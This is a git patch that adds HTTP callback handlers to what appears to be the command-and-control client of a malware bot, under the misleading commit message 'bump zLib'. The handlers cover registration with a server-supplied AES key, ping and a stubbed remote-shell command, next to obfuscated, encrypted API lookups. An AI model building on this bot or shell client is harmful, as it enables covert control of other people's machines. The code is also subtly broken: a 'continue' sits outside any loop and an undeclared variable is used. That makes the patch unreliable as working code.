From 722a720fdbc85e8d9107edd16e9d3be13b4a0de6 Mon Sep 17 00:00:00 2001 From: lns Date: Tue, 31 May 2022 20:33:17 +0200 Subject: bump zLib * added some http callbacks Signed-off-by: lns --- source/http.c | 66 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) (limited to 'source/http.c') diff --git a/source/http.c b/source/http.c index 95a3538..37f92de 100644 --- a/source/http.c +++ b/source/http.c @@ -55,8 +55,74 @@ struct HttpApi { uint32_t next_ping; }; +typedef int (*http_callback)(struct HttpApi *api, struct http_args *args); + +struct HttpCallback { + uint16_t type; + http_callback callback; + uint16_t state; +}; + static struct HttpApi* hApi = NULL; +#define HTTP_CALLBACK(name) static int name(struct HttpApi *api, struct http_args *args) +HTTP_CALLBACK(rc_info_cb); +HTTP_CALLBACK(rc_register_cb); +HTTP_CALLBACK(rc_ping_cb); +HTTP_CALLBACK(rc_shell_cb); + +#define HTTP_CALLBACK_ENTRY(rc, cb, state) { .type = rc, .callback = cb, .state = state } +#define DEFAULT_HTTP_CALLBACK_ENTRY(rc, cb) HTTP_CALLBACK_ENTRY(rc, cb, 0) +static const struct HttpCallback callbacks[] = { + DEFAULT_HTTP_CALLBACK_ENTRY(RC_INFO, rc_info_cb), + HTTP_CALLBACK_ENTRY(RC_REGISTER, rc_register_cb, ST_UNAUTH), + DEFAULT_HTTP_CALLBACK_ENTRY(RC_PING, rc_ping_cb), + DEFAULT_HTTP_CALLBACK_ENTRY(RC_SHELL, rc_shell_cb), +}; + + +HTTP_CALLBACK(rc_info_cb) +{ + return 0; +} + +HTTP_CALLBACK(rc_register_cb) +{ + if (hApi->state & ST_UNAUTH || hResp->respCode == RC_REGISTER) { + /* request aeskey, etc, ... */ + if (hResp->respCode != RC_REGISTER || hResp->pkgsiz != sizeof(struct resp_register)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("I wanted an RC_REGISTER pkg but did not get a valid one! (Code: %u (0x%X), Size: %u (0x%X))\n", + hResp->respCode, hResp->respCode, hResp->pkgsiz, hResp->pkgsiz); +#endif + continue; + } + struct resp_register* rsp = (struct resp_register*)&hResp->pkgbuf[0]; + COMPAT(memcpy)(&hApi->aeskey[0], &rsp->aeskey[0], AESKEY_SIZ); +#ifdef _PRE_RELEASE + if (!(hApi->state & ST_UNAUTH)) { + COMPAT(printf)("%s\n", "Re-Register forced"); + } +#endif + hApi->state &= ~ST_UNAUTH; +#ifdef _PRE_RELEASE + COMPAT(printf)("AES key: "); + __printByteBuf((const rrbuff)&hApi->aeskey[0], AESKEY_SIZ); + COMPAT(printf)("Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping); +#endif + } + return 0; +} + +HTTP_CALLBACK(rc_ping_cb) +{ + return 0; +} + +HTTP_CALLBACK(rc_shell_cb) +{ + return 0; +} #define DECRYPT_AND_LIBGETPROC(i, lib, type, dest) { DBUF(i, tmp); dest = (type)getproc(lib, tmp); } #define DECRYPT_AND_GETPROC(i, type, dest) DECRYPT_AND_LIBGETPROC(i, httplib, type, dest) -- cgit v1.2.3